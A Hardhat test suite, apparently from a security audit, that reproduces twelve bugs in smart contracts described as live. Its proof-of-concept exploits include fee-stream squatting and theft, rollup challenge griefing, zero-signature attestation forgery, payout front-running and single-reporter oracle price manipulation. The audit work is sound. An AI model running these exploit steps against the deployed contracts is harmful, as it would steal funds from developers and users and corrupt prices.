// AUDIT VERIFICATION SUITE — 2026-07-10
// Adversarial verification of candidate bugs flagged in LIVE AERE contracts.
// Each test either REPRODUCES the bug (CONFIRMED) or shows a guard REFUTES it.
// Runs fully local against the REAL contract sources (same bytecode as deployed).
// NO contract sources modified. NO deploys to mainnet. NO mainnet txs.
//
// Findings covered here: 1,2,3,4,5,6,7,8,9,10,11,12  (13 lives in a sibling file).

const { expect } = require("chai");
const { ethers } = require("hardhat");

const ONE = 10n ** 18n;

describe("AUDIT VERIFY — AERE live contracts", function () {
  this.timeout(300000);

  // ───────────────────────── Finding 1 ─────────────────────────
  describe("F1 AereFeeMonetization.register squat + permanent DoS", function () {
    it("CONFIRMED: attacker squats a victim contract's fee stream; victim can never register; attacker drains distributed fees", async () => {
      const [owner, attacker, dist, victimContract, victimDev] = await ethers.getSigners();
      const FM = await ethers.getContractFactory("AereFeeMonetization");
      const fm = await FM.deploy(owner.address);
      await fm.waitForDeployment();

      await fm.connect(owner).setDistributor(dist.address, true);

      // Attacker registers the VICTIM contract's address, minting the NFT to itself.
      // No check that msg.sender controls victimContract.
      const rc = await (await fm.connect(attacker).register(victimContract.address, attacker.address)).wait();
      const tokenId = await fm.tokenIdOf(victimContract.address);
      expect(tokenId).to.equal(1n);
      expect(await fm.ownerOf(tokenId)).to.equal(attacker.address);

      // The real developer can NEVER register their own contract now (permanent DoS).
      await expect(
        fm.connect(victimDev).register(victimContract.address, victimDev.address)
      ).to.be.revertedWith("FeeMon: already registered");

      // Foundation distributor credits fees for that contract -> attacker's tokenId.
      const amt = 5n * ONE;
      await fm.connect(dist).distribute([tokenId], [amt], 0n, { value: amt });
      expect(await fm.pendingRewards(tokenId)).to.equal(amt);

      // Attacker claims the victim's fee stream.
      const before = await ethers.provider.getBalance(attacker.address);
      const claimRc = await (await fm.connect(attacker).claim(tokenId)).wait();
      const gas = claimRc.gasUsed * claimRc.gasPrice;
      const after = await ethers.provider.getBalance(attacker.address);
      expect(after + gas - before).to.equal(amt);

      // There is no unregister / reclaim path (interface has none).
      const names = fm.interface.fragments.filter(f => f.type === "function").map(f => f.name);
      expect(names).to.not.include("unregister");
      expect(names).to.not.include("deregister");
    });
  });

  // ───────────────────────── Finding 2 ─────────────────────────
  describe("F2 AereStaking.delegate top-up does NOT reset lastClaimBlock", function () {
    it("CONFIRMED: freshly-added stake retroactively earns a full period of rewards", async () => {
      const [v, d] = await ethers.getSigners();
      const S = await ethers.getContractFactory("AereStaking");
      const st = await S.deploy();
      await st.waitForDeployment();

      await st.connect(v).registerValidator(0, { value: 500n * ONE }); // commission 0
      const X = 100n * ONE;
      await st.connect(d).delegate(v.address, { value: X });
      const del0 = await st.delegations(v.address, d.address);
      const firstClaimBlock = del0.lastClaimBlock;

      // Let a period elapse.
      await ethers.provider.send("hardhat_mine", ["0x3E8"]); // 1000 blocks
      const pBefore = await st.pendingRewards(v.address, d.address);

      // Top up with a large amount. Because d.amount != 0, lastClaimBlock is NOT reset.
      const Y = 900n * ONE;
      await st.connect(d).delegate(v.address, { value: Y });
      const del1 = await st.delegations(v.address, d.address);

      // EVIDENCE 1: lastClaimBlock unchanged (no reset on top-up).
      expect(del1.lastClaimBlock).to.equal(firstClaimBlock);
      expect(del1.amount).to.equal(X + Y);

      // EVIDENCE 2: pending now scales with the FULL new balance over the whole
      // elapsed window — the +900 AERE earns rewards for blocks before it existed.
      const cur = BigInt(await ethers.provider.getBlockNumber());
      const elapsed = cur - firstClaimBlock;
      const expectedBuggy = ((X + Y) * 800n * elapsed) / (315360000n * 10000n);
      const pAfter = await st.pendingRewards(v.address, d.address);
      expect(pAfter).to.equal(expectedBuggy);

      // Fair value would credit Y only from the top-up block onward (~0 blocks here).
      const fair = (X * 800n * elapsed) / (315360000n * 10000n); // Y contributes ~nothing fairly
      expect(pAfter).to.be.gt(fair * 9n); // ~10x inflated (Y=9X earning full retro period)
    });
  });

  // ───────────────────────── Finding 3 ─────────────────────────
  describe("F3 AereStaking validator self-stake is locked forever", function () {
    it("CONFIRMED: no code path returns registerValidator's selfStake to the validator", async () => {
      const [v] = await ethers.getSigners();
      const S = await ethers.getContractFactory("AereStaking");
      const st = await S.deploy();
      await st.waitForDeployment();

      await st.connect(v).registerValidator(0, { value: 500n * ONE });
      const info = await st.validators(v.address);
      expect(info.selfStake).to.equal(500n * ONE);
      expect(await ethers.provider.getBalance(await st.getAddress())).to.equal(500n * ONE);

      // No deregister / withdrawSelfStake / exitValidator function exists.
      const names = st.interface.fragments.filter(f => f.type === "function").map(f => f.name);
      for (const n of ["deregisterValidator", "withdrawSelfStake", "exitValidator", "unregisterValidator", "withdrawValidator"]) {
        expect(names).to.not.include(n);
      }

      // The only "withdraw" primitives (unbond/claimUnbonded) act on DELEGATIONS,
      // and the validator never delegated to itself -> unbond reverts.
      await expect(
        st.connect(v).unbond(v.address, 500n * ONE)
      ).to.be.revertedWith("AereStaking: insufficient delegation");

      // claimUnbonded has nothing queued either.
      await expect(st.connect(v).claimUnbonded()).to.be.revertedWith("AereStaking: nothing to claim");

      // selfStake remains stuck in the contract.
      expect(await ethers.provider.getBalance(await st.getAddress())).to.equal(500n * ONE);
    });
  });

  // ───────────────────────── Finding 4 ─────────────────────────
  describe("F4 AereStaking re-registration after slash underflows delegator unbond", function () {
    it("CONFIRMED: re-register zeroes totalDelegated while delegations persist -> unbond reverts (panic 0x11)", async () => {
      const [owner, v, d] = await ethers.getSigners();
      const S = await ethers.getContractFactory("AereStaking");
      const st = await S.connect(owner).deploy();
      await st.waitForDeployment();

      await st.connect(v).registerValidator(0, { value: 500n * ONE });
      const D = 50n * ONE;
      await st.connect(d).delegate(v.address, { value: D });
      expect((await st.validators(v.address)).totalDelegated).to.equal(D);

      // One slash (5%) drops selfStake to 475 < 500 -> validator deactivated.
      await st.connect(owner).slash(v.address, "double-sign");
      expect((await st.validators(v.address)).active).to.equal(false);

      // Deactivated validator re-registers: overwrites struct, totalDelegated = 0.
      await st.connect(v).registerValidator(0, { value: 500n * ONE });
      expect((await st.validators(v.address)).totalDelegated).to.equal(0n);

      // Delegator still holds a 50 AERE delegation, but unbond underflows totalDelegated.
      expect((await st.delegations(v.address, d.address)).amount).to.equal(D);
      await expect(st.connect(d).unbond(v.address, D)).to.be.revertedWithPanic(0x11);
    });
  });

  // ───────────────────────── Finding 5 ─────────────────────────
  describe("F5 AereStaking reward constant assumes 0.1s blocks; chain runs ~0.5s", function () {
    it("CONFIRMED: realized APY is ~5x below the intended 8% (constant 315,360,000)", async () => {
      const [v, d] = await ethers.getSigners();
      const S = await ethers.getContractFactory("AereStaking");
      const st = await S.deploy();
      await st.waitForDeployment();

      await st.connect(v).registerValidator(0, { value: 500n * ONE });
      const stake = 100n * ONE;
      await st.connect(d).delegate(v.address, { value: stake });
      const del = await st.delegations(v.address, d.address);

      const MINE = 500000n;
      await ethers.provider.send("hardhat_mine", ["0x" + MINE.toString(16)]);
      const cur = BigInt(await ethers.provider.getBlockNumber());
      const elapsed = cur - del.lastClaimBlock;

      const pending = await st.pendingRewards(v.address, d.address);
      // Reproduce the contract's constant to prove it is 315,360,000 (0.1s blocks).
      const expected = (stake * 800n * elapsed) / (315360000n * 10000n);
      expect(pending).to.equal(expected);

      // Realized APY at the REAL 0.5s block time (measured on-chain: 0.5055 s/block).
      // blocks/year @0.5s = 31,536,000 / 0.5 = 63,072,000.
      const BLOCKS_PER_YEAR_HALF_SEC = 63072000n;
      // annual reward fraction (bps) = 800 * blocksPerYear / 315,360,000
      const realizedBps = (800n * BLOCKS_PER_YEAR_HALF_SEC) / 315360000n;
      expect(realizedBps).to.equal(160n);           // 1.60% realized vs 800 bps (8%) intended
      expect(800n / realizedBps).to.equal(5n);       // exactly 5x underpay at 0.5s
    });
  });

  // ─────────────────────── Findings 6 & 7 ───────────────────────
  describe("F6/F7 AereRollupSettlement last-block griefing + permanent finalisation freeze", function () {
    const WINDOW = 3600n;
    async function deployRS() {
      const [deployer, owner, sequencer, sink, challenger] = await ethers.getSigners();
      const T = await ethers.getContractFactory("MockERC20Lending");
      const dbt = await T.deploy("WAERE", "WAERE", 18);
      await dbt.waitForDeployment();
      const RS = await ethers.getContractFactory("AereRollupSettlement");
      const cfg = [
        ethers.id("rollup:test"),   // rollupId
        owner.address,              // rollupOwner
        sequencer.address,          // sequencer
        sink.address,               // sink
        await dbt.getAddress(),     // debtToken
        WINDOW,                     // challengeWindow
        1000,                       // sinkBps
        8000,                       // rollupBps
        1000,                       // sequencerBps
        ONE,                        // minChallengeBond
      ];
      const rs = await RS.deploy(cfg);
      await rs.waitForDeployment();
      await dbt.mint(challenger.address, 100n * ONE);
      await dbt.connect(challenger).approve(await rs.getAddress(), ethers.MaxUint256);
      return { rs, dbt, owner, sequencer, challenger };
    }

    it("CONFIRMED F6: challenge in last in-window block cannot be defended; valid root rejected, bond fully refunded, no slash", async () => {
      const { rs, dbt, sequencer, challenger } = await deployRS();
      await rs.connect(sequencer).proposeStateRoot(1, ethers.id("root1"), ethers.id("l2#1"));
      const s = await rs.roots(1);
      const proposedAt = s.proposedAt;

      const bondBefore = await dbt.balanceOf(challenger.address);
      // Place the challenge tx ITSELF in the last in-window block (timestamp = T+W-1).
      await ethers.provider.send("evm_setNextBlockTimestamp", [Number(proposedAt + WINDOW - 1n)]);
      await rs.connect(challenger).challenge(1, ONE, ethers.id("reason"));

      // The very next block is already at/after window end -> sequencer cannot resolve.
      await ethers.provider.send("evm_setNextBlockTimestamp", [Number(proposedAt + WINDOW)]);
      await expect(rs.connect(sequencer).resolveChallenge(1, false)).to.be.revertedWithCustomError(rs, "WindowClosed");
      await expect(rs.connect(sequencer).resolveChallenge(1, true)).to.be.revertedWithCustomError(rs, "WindowClosed");

      // Only the expired path remains: rejects the (valid) root + full refund, NO slash.
      await rs.resolveChallengeExpired(1);
      const after = await rs.roots(1);
      expect(after.resolvedRejected).to.equal(true);
      expect(await rs.isFinalised(1)).to.equal(false);
      // challenger got the ENTIRE bond back (griefing is costless beyond gas).
      expect(await dbt.balanceOf(challenger.address)).to.equal(bondBefore);
    });

    it("CONFIRMED F7: one rejected epoch permanently freezes latestFinalisedEpoch and cannot be re-proposed", async () => {
      const { rs, sequencer, challenger } = await deployRS();
      // Epoch 1 gets rejected via the last-block griefing path.
      await rs.connect(sequencer).proposeStateRoot(1, ethers.id("r1"), ethers.id("h1"));
      let s1 = await rs.roots(1);
      await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s1.proposedAt + WINDOW - 1n)]);
      await rs.connect(challenger).challenge(1, ONE, ethers.id("x"));
      await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s1.proposedAt + WINDOW)]);
      await rs.resolveChallengeExpired(1);
      expect((await rs.roots(1)).resolvedRejected).to.equal(true);

      // Epoch 2 proposed cleanly and left to finalise.
      await rs.connect(sequencer).proposeStateRoot(2, ethers.id("r2"), ethers.id("h2"));
      const s2 = await rs.roots(2);
      await ethers.provider.send("evm_setNextBlockTimestamp", [Number(s2.proposedAt + WINDOW + 1n)]);
      await ethers.provider.send("evm_mine", []);
      expect(await rs.isFinalised(2)).to.equal(true); // epoch 2 individually finalisable

      // But the contiguous tracker is stuck at 0 because epoch 1 never finalises.
      await rs.advanceFinalisation();
      expect(await rs.latestFinalisedEpoch()).to.equal(0n);

      // And epoch 1 can NEVER be re-proposed (strict continuity: needs latestEpoch+1 = 3).
      await expect(
        rs.connect(sequencer).proposeStateRoot(1, ethers.id("r1b"), ethers.id("h1b"))
      ).to.be.revertedWithCustomError(rs, "EpochOutOfOrder");
    });
  });

  // ───────────────────────── Finding 8 ─────────────────────────
  describe("F8 AereCompliancePool challenge bond: honest challenger never recovers bond", function () {
    async function deployPool() {
      const [foundation, challenger] = await ethers.getSigners();
      const T = await ethers.getContractFactory("MockERC20Lending");
      const token = await T.deploy("WAERE", "WAERE", 18);
      await token.waitForDeployment();
      const V = await ethers.getContractFactory("MockPrivacyPoolVerifier");
      const verifier = await V.deploy();
      await verifier.waitForDeployment();
      const P = await ethers.getContractFactory("AereCompliancePool");
      const pool = await P.deploy(await token.getAddress(), ONE, foundation.address, await verifier.getAddress());
      await pool.waitForDeployment();
      await token.mint(challenger.address, 500n * ONE);
      await token.connect(challenger).approve(await pool.getAddress(), ethers.MaxUint256);
      return { pool, token, foundation, challenger };
    }

    it("CONFIRMED: bond is either burned on dismissal or locked forever if upheld — no refund path exists", async () => {
      const { pool, token, foundation, challenger } = await deployPool();
      const BOND = await pool.CHALLENGE_BOND();

      // Branch A: an UPHELD challenge (Foundation simply never dismisses).
      const rootA = ethers.id("assoc-A");
      await pool.connect(foundation).proposeAssociationRoot(rootA);
      const balBefore = await token.balanceOf(challenger.address);
      await pool.connect(challenger).challengeAssociationRoot(rootA, "fraudulent set");
      expect(await token.balanceOf(challenger.address)).to.equal(balBefore - BOND);
      expect(await token.balanceOf(await pool.getAddress())).to.equal(BOND);
      // The root can never publish (stays challenged) AND there is no refund fn.
      await expect(pool.publishAssociationRoot(rootA)).to.be.revertedWithCustomError(pool, "UnknownAssociationRoot");
      const names = pool.interface.fragments.filter(f => f.type === "function").map(f => f.name);
      for (const n of ["refundChallenger", "upholdChallenge", "reclaimBond", "withdrawBond"]) {
        expect(names).to.not.include(n);
      }
      // Bond is stuck in the contract; challenger is permanently out 100 AERE.
      expect(await token.balanceOf(challenger.address)).to.equal(balBefore - BOND);

      // Branch B: a DISMISSED challenge burns the bond to dEaD (challenger still loses it).
      const rootB = ethers.id("assoc-B");
      await pool.connect(foundation).proposeAssociationRoot(rootB);
      await pool.connect(challenger).challengeAssociationRoot(rootB, "reason");
      const dead = "0x000000000000000000000000000000000000dEaD";
      const deadBefore = await token.balanceOf(dead);
      await pool.connect(foundation).dismissAssociationRootChallenge(rootB);
      expect(await token.balanceOf(dead)).to.equal(deadBefore + BOND); // burned, not refunded
    });
  });

  // ───────────────────────── Finding 9 ─────────────────────────
  describe("F9 AereDACommittee removeMember drives threshold to 0 -> forge availability with zero sigs", function () {
    it("CONFIRMED: admin can remove all members; attest([]) then records availability with 0 signatures", async () => {
      const [admin, m1, m2, m3] = await ethers.getSigners();
      const members = [m1, m2, m3];
      const DAC = await ethers.getContractFactory("AereDACommittee");
      const dac = await DAC.deploy(admin.address, members.map(m => m.address), 2);
      await dac.waitForDeployment();

      for (const m of members) await dac.connect(admin).removeMember(m.address);
      expect(await dac.memberCount()).to.equal(0n);
      expect(await dac.threshold()).to.equal(0n); // clamped past the setThreshold(>0) guard

      const rollupId = ethers.id("rollup:forge");
      const epoch = 42n;
      const dc = ethers.id("forged-commitment");
      // Zero signatures: valid(0) < threshold(0) is FALSE -> passes.
      await dac.attest(rollupId, epoch, dc, []);
      expect(await dac.isAvailable(rollupId, epoch)).to.equal(true);
      const [available, , , sigs] = await dac.getAttestation(rollupId, epoch);
      expect(available).to.equal(true);
      expect(sigs).to.equal(0n); // availability forged with zero committee signatures
    });
  });

  // ───────────────────────── Finding 10 ────────────────────────
  describe("F10 AereSlashingInsurance.cancelCoverage front-runs a matured payout", function () {
    it("CONFIRMED: a non-Foundation griefer cancels a matured claim, permanently blocking the payout", async () => {
      const [foundation, griefer, delegatee] = await ethers.getSigners();
      const SI = await ethers.getContractFactory("AereSlashingInsurance");
      const si = await SI.deploy(foundation.address, 5000, 10n ** 24n, 0, 100); // coverage 50%, cooldown 0, delay 100s
      await si.waitForDeployment();
      await si.connect(foundation).donate({ value: 100n * ONE });

      await si.connect(foundation).proposeCoverage(delegatee.address, 20n * ONE, ethers.id("evidence"));
      // Mature the claim.
      await ethers.provider.send("evm_increaseTime", [101]);
      await ethers.provider.send("evm_mine", []);

      // Griefer front-runs executeCoverage with a cancel — no readyAt/timelock guard on cancel.
      await si.connect(griefer).cancelCoverage(0, "griefing a valid claim");
      await expect(si.connect(delegatee).executeCoverage(0)).to.be.revertedWithCustomError(si, "NoClaim");

      // Re-proposal is cancellable again the same way (repeatable DoS).
      await si.connect(foundation).proposeCoverage(delegatee.address, 20n * ONE, ethers.id("evidence2"));
      await ethers.provider.send("evm_increaseTime", [101]);
      await ethers.provider.send("evm_mine", []);
      await si.connect(griefer).cancelCoverage(1, "again");
      await expect(si.connect(delegatee).executeCoverage(1)).to.be.revertedWithCustomError(si, "NoClaim");
    });
  });

  // ───────────────────────── Finding 11 ────────────────────────
  describe("F11 AereOracle.getPrice: a single fresh reporter controls the price", function () {
    it("CONFIRMED: with all others stale, one fresh reporter sets the median (contributors == 1)", async () => {
      const [owner, r1, r2, r3] = await ethers.getSigners();
      const O = await ethers.getContractFactory("AereOracle");
      const o = await O.connect(owner).deploy();
      await o.waitForDeployment();
      for (const r of [r1, r2, r3]) await o.connect(owner).addReporter(r.address);

      const sym = ethers.encodeBytes32String("AERE/USD");
      await o.connect(r1).submit(sym, 100n * 10n ** 8n);
      await o.connect(r2).submit(sym, 101n * 10n ** 8n);
      await o.connect(r3).submit(sym, 99n * 10n ** 8n);

      // Age everything past maxStaleness (5 min).
      await ethers.provider.send("evm_increaseTime", [301]);
      await ethers.provider.send("evm_mine", []);

      // Only r1 refreshes — to an arbitrary manipulated value.
      const manipulated = 500000n * 10n ** 8n;
      await o.connect(r1).submit(sym, manipulated);

      const [price, , contributors] = await o.getPrice(sym);
      expect(contributors).to.equal(1n);
      expect(price).to.equal(manipulated); // single reporter fully controls the feed
    });
  });

  // ───────────────────────── Finding 12 ────────────────────────
  describe("F12 AereLendingOracle NavOracle feed is a dead path", function () {
    it("CONFIRMED: configureFeed(NavOracle -> AereNavOracle) reverts (no latestForAsset on the deployed NAV oracle)", async () => {
      const [owner] = await ethers.getSigners();
      const LO = await ethers.getContractFactory("AereLendingOracle");
      const lo = await LO.connect(owner).deploy();
      await lo.waitForDeployment();

      const NAV = await ethers.getContractFactory("AereNavOracle");
      const nav = await NAV.deploy();
      await nav.waitForDeployment();

      // Sanity: the deployed AereNavOracle exposes NO latestForAsset(bytes32) selector.
      const navNames = nav.interface.fragments.filter(f => f.type === "function").map(f => f.name);
      expect(navNames).to.not.include("latestForAsset");

      const asset = ethers.Wallet.createRandom().address;
      // FeedType.NavOracle = 1. Auto-poke in configureFeed calls latestForAsset -> revert.
      await expect(
        lo.connect(owner).configureFeed(asset, 1, await nav.getAddress(), ethers.id("BUIDL"), 86400, 0, 18)
      ).to.be.reverted;
    });
  });
});
